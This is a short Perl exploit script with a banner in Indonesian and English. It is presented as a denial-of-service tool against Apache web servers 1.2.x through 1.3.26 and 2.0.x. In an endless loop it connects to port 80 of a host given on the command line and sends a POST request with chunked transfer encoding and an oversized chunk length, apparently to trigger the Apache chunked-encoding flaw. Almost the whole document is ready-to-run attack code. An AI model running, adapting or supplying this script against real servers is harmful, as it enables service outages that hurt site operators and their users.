#!/usr/bin/perl -w

use IO::Socket;


      printf"\n*****************************************************************************\n";
      print "  *                                                                           *\n";
      print "  *              D.O.S buat apache webserver 1.2.X < .26 && 2.0.X             *\n";
      print "  *                based on <Luis Wong> lwong [at]mpsnet.net.mx               *\n";
      print "  *   modified && tested by y3dips on apache 1.3.23,  y3dips [at]echo.or.id   *\n";
      print "  *            greetz to echostaff a.k.a the_day, moby, comex                 *\n";
      print "  *              echo-memberz, newbie_hacker, puji_tiwili*                    *\n";
      print "  *                                                                           *\n";
      printf"  *****************************************************************************\n\n";
 
if(@ARGV == 1){
      
      my $host = $ARGV[0];
      my $i;
      while(){
	$sock = IO::Socket::INET->new(PeerAddr => $host,
				      PeerPort => "80",
				      Proto => 'tcp');
	unless($sock){
	  die "  GAk bisa terhubung a.k.a GAk bisa !.";
	}
	$sock->autoflush(1);
	print $sock "POST /eCHo.htm HTTP/1.1\nHost: $host\nTransfer-Encoding: chunked\n\n90000000\n\n";
	while ( <$sock> ){ 
	    print; 
	}
	close $sock;
       	$i++;
	print ".";
    }
}else{
      print "           [GUnakan] ...   ./$0 'HosT'      <<  untuk linux \n"  ;
      print "           [Gunakan] ...   perl $0 'Host'   <<untuk windows  \n";
}